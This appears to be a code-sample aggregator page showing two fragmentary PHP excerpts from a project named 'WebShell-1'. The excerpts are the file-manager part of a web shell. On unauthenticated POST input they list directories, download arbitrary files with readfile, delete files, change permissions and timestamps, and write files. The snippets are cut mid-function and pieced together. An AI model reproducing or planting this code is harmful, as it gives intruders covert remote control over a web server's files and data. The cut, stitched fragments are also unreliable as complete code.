コード例 #1
0
ファイル: 12309.php プロジェクト: wucaishi/WebShell-1
         if (isset($chmoded)) {
             echo '<input name="chmoded" type="hidden" value="' . $chmoded . '">';
         }
         echo '<input name="edit" type="hidden" value="edit"><br><input type="submit" name="edt" value="save"></form>';
     }
     echo $pageend;
     die;
 }
 if ($download != "1") {
     echo '<br></div><font color="blue">---> fail manager</font><br>';
 }
 if ($action == "viewer") {
     if (!isset($dir)) {
         $dir = getcwd();
     }
     scandire($_POST["dir"]);
 }
 if ($action == "download") {
     readfile($_POST["file"]);
 }
 if ($action == "chmod") {
     chmodz($_POST["file"]);
 }
 if ($action == "touch") {
     touchz($_POST["file"]);
 }
 if ($action == 'delete') {
     if (unlink($_POST["file"])) {
         $content .= "file " . $_POST["file"] . " deleted, <a href=\"#\" onclick=\"document.reqs.action.value='viewer';document.reqs.dir.value='" . $_POST["dir"] . "'; document.reqs.submit();\">back</a>";
     }
 }
コード例 #2
0
                echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'viewer\'; document.reqs.dir.value=\'' . $link . '\'; document.reqs.submit();">' . $dire[$i] . '<a/></td><td>dir</td><td></td><td>' . perms($link) . '</td></tr>';
            }
            for ($i = 0; $i < count($files); $i++) {
                $linkfile = $dir . $files[$i];
                echo '<tr><td><a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();">' . $files[$i] . '</a><br></td><td>file</td><td>' . view_size(filesize($linkfile)) . '</td>
<td>' . perms($linkfile) . '</td>
<td>
<a href="#" onclick="document.reqs.action.value=\'download\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Download">D</a>
<a href="#" onclick="document.reqs.action.value=\'editor\'; document.reqs.file.value=\'' . $linkfile . '\'; document.reqs.submit();" title="Edit">E</a></tr>';
            }
            echo "</table>";
        }
    }
}
if ($action == "viewer") {
    scandire($dir);
}
//end viewer FS
//editros
if ($action == "editor") {
    function writef($file, $data)
    {
        $fp = fopen($file, "w+");
        fwrite($fp, $data);
        fclose($fp);
    }
    function readf($file)
    {
        if (!($le = fopen($file, "rb"))) {
            $contents = "Can't open file, permission denide";
        } else {